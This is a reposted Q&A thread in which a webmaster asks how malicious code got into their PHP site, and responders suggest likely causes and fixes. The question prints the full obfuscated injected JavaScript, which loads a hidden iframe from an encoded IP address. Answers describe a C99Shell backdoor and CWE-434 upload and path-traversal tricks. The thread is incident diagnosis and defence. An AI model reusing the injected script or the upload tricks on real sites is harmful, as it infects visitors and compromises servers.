-->

PHP script: malicious JavaScript code at the end

2019-03-11 01:58发布

站内文章 / PHP

24 0

祖国的老花朵

女 | 书童

私信

可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试):

问题:

The problem:

On my webspace there are PHP files which all end with this:

<?php include 'footer.php'; ?>

Before this line, there is also HTML code in the files.

The output in the browser ends with this, of course:

</body>
</html>

But yesterday, there was some malicious code at the end, suddenly. The output of my index.php was:

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

I opened the file on my webspace (downloaded via FTP) and I saw that someone had put this code right into the file!

How could this happen?

The only ways I can imagine:

Somebody got my FTP password. But he wouldn't only have put it into one file. He could have done much more damage. So I can't imagine this is the case.
I have a virus on my PC myself. I use Notepad++ for editing and FileZilla for uploading. Maybe these programs were contaminated as well and I uploaded the malicious code - without knowing.
Someone used a security hole (XSS) to put that code into the page. But he couldn't have put it right into the file, could he?

Symptoms:

Users reported a blue panel popping up in Firefox. It asked them to install a plugin. Now some of them have Exploit.Java.CVE-2010-0886.a on their PC.

Is this due to the malicious code? What did the code do exactly?

Can you help me?

Please help me, I'm really desperate.

Maybe one additional question, if you know how I could have got it: How could I prevent something like this in the future?

Edit #1:

I've found a file called "x76x09.php" in the root directory of my webspace. It has a filesize of 44.281 bytes. I've downloaded it and tried to open it. But my antivirus software said it's a trojan (Trojan.Script.224490). I think this file has been executed and added the malicious code to the "index.php" in every directory. Does this help? How could the trojan come to my webspace? Is this a well-known virus?

Edit #2:

My hoster says he can now be sure that the file wasn't uploaded via FTP. So the infection didn't happen via FTP. According to my hoster, it must be insecure scripts.

Edit #3:

Security holes according to PHPSecInfo:

allow_url_fopen = 1
allow_url_include = 1
expose_php = 1
file_uploads = 1 (is this to blame for the malicious "x76x09.php" file?)
group_id = 99
user_id = 99

Edit #4:

I've analyzed the file which had been executed on my webserver. Here's the results.

So this virus seems to be known as:

PHP/C99Shell.BF
Backdoor/PHP.C99Shell
BackDoor.Generic_c.CQA
Trojan.Script.224490
Exploit.PHP.635
Backdoor.PHP.C99Shell.bf
Trojan.Script.224490

Could some of them cause the malicious file on my webspace which added the malicious code?

回答1:

I don't think that the problem is that you are using a shared host because I have found six others (degmsb, Benvolio, joomla01, DJ-Alien, valerione1979, and Kars) whose websites had the same script added. Also, it is doubtful that any of your files would be writable by others because files that are uploaded over FTP are subject to the file creation mode bits mask.

My best guess is that someone is cracking websites using either known exploits or exploits against common weaknesses, and that this person is identifying likely targets with Google hacking. degmsb's Wordpress website and Benvolio's Burning Board Lite website were likely cracked via known exploits (possibly known exploits of plugins to these software bases such as TinyMCE), and your website, since you wrote it yourself, was likely cracked via an exploit against a common website weakness.

Given that you allow file uploads (one of your PHP scripts accepts & saves files that are uploaded by your users), I would consider CWE-434: Unrestricted Upload of File with Dangerous Type. A CWE-434 exploit works like this: suppose you allow users to upload avatar images or pictures. The script to which uploaded images are POSTed might save the file to /images using the same filename that the user supplied. Now imagine that someone uploads x76x09.gif.php (or x76x09.gif.asp, x76x09.gif.php4, etc.). Your script will dutifully save this upload to /images/x76x09.gif.php and all that the cracker needs to do to have the server run this script is browse to /images/x76x09.gif.php. Even if the file is named x76x09.php.gif, some web servers will execute the file.

Another possibility is that the filename of the upload that PHP receives, $_FILES['upload']['name'], which is the filename value in the Content-Disposition header that is sent, was constructed to something like ..\modules\x.gif. If your script saved the newly-uploaded file to str_replace('\\', '/', '/images/' . basename($_FILES['upload']['name'])), or /images/../modules/x.gif on a non-Windows host (http://codepad.org/t83dYZwa), and there was some way for the user to cause one of your PHP scripts to include or require any script in the modules directory (say index.php?module=x.gif&action=blah), then the cracker would be able to execute arbitrary PHP.

EDIT: It looks like x76x09.php is some sort of unrestricted directory browser and file uploader. If a user manages to get this uploaded to your server, then they can basically do anything that you can do with your FTP access. Delete it.

EDIT2: Look for copies of this PHP source (the part gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));). Remove it from all of your PHP scripts.

EDIT3: Googling parts of the PHP script, I have found several webpages where this source is listed verbatim, and all of these pages have something to do with file uploading functionality for the respective websites. It therefore seems very likely that the hacker of your website used a CWE-434 exploit.

回答2:

Looks like your server has been compromised, also are you on shared host?

You can find out security configuration of your server with:

PhpSecInfo

alt text http://phpsec.org/images/psi_ss2.png

回答3:

Who are you hosted with? Some hosters have security leaks that can get exploited.

Are you using WordPress? There's also been an number of reported outbreaks. The best thing to do would be google it looking for people with similar problems, which will also lead to the cause, which will lead to the solutions.

回答4:

As others have suggested, the vulnerability is most likely in some script you are using, maybe something you've written yourself or then a well known application that has known vulnerabilities. This might be a vulnerability in an upload script, but I want to point out that it is also possible to "upload" files through SQL injection, see the following thread for more details

回答5:

We have experienced a problem similar to this a while ago with one of our major web properties. What your web host said was correct: it was likely due to not FTP access, but an insecure script that somehow allowed modification of arbitrary files. In our case, a vulnerability in an old phpMyAdmin allowed changes to some PHP scripts.

If you haven't done so already, you may want to make sure that the web server has only read privileges to all scripts and HTML files. It turns out that Apache could also write to scripts in our case. Simply

cd web_files_directory
chown -R some_not_web_server_user:some_not_web_server_group .
find . -type f | xargs chmod 644
find . -type d | xargs chmod 755

回答6:

I would suggest changing any FTP or SSH passwords to be very secure. If you use a hosting provider you should also notify them of the breach. If you do not have logs to investigate the matter then they may. You should also Google the code that was added to your page to see if you can find anything else.

回答7:

phsource is the closest.

If you're on a shared server, other people have access to the server itself. This is sort of the definition of a shared server. The problem is that if you have files with permissions of 777, they are world-user-group writable. Which means anyone with access to the box can write to them. See the problem?

All it takes is one person on that box to have a weak password, poorly configured script, or a horrible bit of code, and a mediocre script kiddie can cause all kinds of problems all over the box. Most of these attacks are purely automated. They get access, scan for attack-able files, and append as needed.

Most likely, you should change all of your files to 755 or 644 permissions. You'll sleep better at night.

And after you're done cleaning it up, make sure Google hasn't flagged you as a malicious site. It's not horrible to clean up, but it can decimate your traffic in the meantime.

回答8:

If you wrote the vulnerable web application yourself then you've already got a head start figuring out where to find most of the access points are which could be exploited. Unfortunately, that may not be good enough (writing and maintaining secure web applications is harder than most people think).

If you didn't write the application yourself, or if you're re-using large, complex, components that someone else wrote, or if you simply need help getting a handle on website security then there are commercial services that can crawl your site and try to figure out where they are vulnerable, e.g.:

http://www.qualys.com/products/qg_suite/was/

These services cost money, obviously, but you can usually get a "free trial" to see if they would be helpful. Good luck!

回答9:

If you has static ip - you can forbid ftp-access from not yours IP

回答10:

This happened to me a while back in different manners. A work account was compromised through phpBB via a code exploit. Somehow, they even added themselves into the mySQL db users table. That caused us to completely remove the program and discontinue use.

An old Joomla install was the vulnerability that allowed people to do exactly what you speak of to my personal site. I had forgotten it was even out there, but it was enough to open the door for them to install malicious code on several different sites. I took the site down, changed permissions, updated Joomla, and scrubbed files.

My current production server gets "sniffed" for phpMyAdmin more than 1000 times per hour during some peak hack attempts. The bad guys are working overtime!

Bottom line, be wary of open source code and if you do use it, update, update, update.